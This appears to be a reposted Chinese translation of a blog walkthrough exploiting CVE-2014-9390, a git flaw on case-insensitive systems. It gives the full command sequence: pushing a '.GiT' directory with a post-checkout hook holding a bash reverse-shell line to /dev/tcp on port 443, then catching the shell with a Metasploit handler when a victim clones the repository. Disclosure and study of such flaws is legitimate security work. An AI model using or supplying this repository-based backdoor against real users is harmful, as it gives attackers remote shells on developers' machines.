未加星标

One git command may cause you hacked(CVE-2014-9390)

字体大小 | |
[web安全 所属分类 web安全 | 发布者 店小二03 | 时间 2014939001 | 作者 夺吻狂魔 ] 0人收藏点击收藏

from:https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/

0x00 背景

CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在https://github.com/blog/1938-git-client-vulnerability-announced 和 http://article.gmane.org/gmane.linux.kernel/1853266发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如windows或OSX,你应该更新git客户端了。

让我们以渗透测试的角度来看看这个漏洞。

0x01 准备

我创建了一个命名为CVE-2014-9390的新项目。


One git command may cause you hacked(CVE-2014-9390)

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。

root@rootlab:~/cve-2014-9390# mkdir .GiT root@rootlab:~/cve-2014-9390# cd .GiT/ root@rootlab:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt root@rootlab:~/cve-2014-9390/.GiT# cd .. root@rootlab:~/cve-2014-9390# git add . root@rootlab:~/cve-2014-9390# git commit -m 'poc' [master bec157d] poc 1 file changed, 1 insertion(+) create mode 100644 .GiT/vulnerable.txt root@rootlab:~/cve-2014-9390# git push

我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看

rootlab@MINCE ~ $ git clone git@gitlab.com:mehmet/cve-2014-9390.git Cloning into 'cve-2014-9390'... Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa': remote: Counting objects: 7, done. remote: Compressing objects: 100% (3/3), done. remote: Total 7 (delta 0), reused 0 (delta 0)R Receiving objects: 100% (7/7), done. Checking connectivity... done.

给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里


One git command may cause you hacked(CVE-2014-9390)
0x02 利用 什么是git的hooks

与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。

当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

如何实现git hooks?

重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。

我们创建一个假的git目录然后建立一个叫post-checkout的文件。

root@rootlab:~/cve-2014-9390# mkdir .GiT/hooks root@rootlab:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout root@rootlab:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout root@rootlab:~/cve-2014-9390# git add . root@rootlab:~/cve-2014-9390# git commit -m 'add reverse connection payload' [master 389c979] add powershell payload 1 file changed, 4 insertions(+) create mode 100644 .GiT/hooks/post-checkout root@rootlab:~//cve-2014-9390# git push

我们在服务器端监听

msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp msf exploit(handler) > set LPORT 443 msf exploit(handler) > set LHOST 108.61.164.142 msf exploit(handler) > exploit [*] Started reverse handler on 108.61.164.142:443 [*] Starting the payload handler...

我们clone https://gitlab.com/mehmet/cve-2014-9390


One git command may cause you hacked(CVE-2014-9390)

看起来都是很正常,但是……


One git command may cause you hacked(CVE-2014-9390)

本文web安全相关术语:黑盒测试方法 黑盒测试和白盒测试 网站安全检测 360网站安全检测 网络安全知识 网络安全技术 网络信息安全 网络安全工程师

tags: git,cve,rootlab,gt,9390#,hooks,GiT,handler,exploit,root,客户端,post,add
分页:12
转载请注明
本文标题:One git command may cause you hacked(CVE-2014-9390)
本站链接:http://www.codesec.net/view/54856.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | web安全 | 评论(0) | 阅读(492)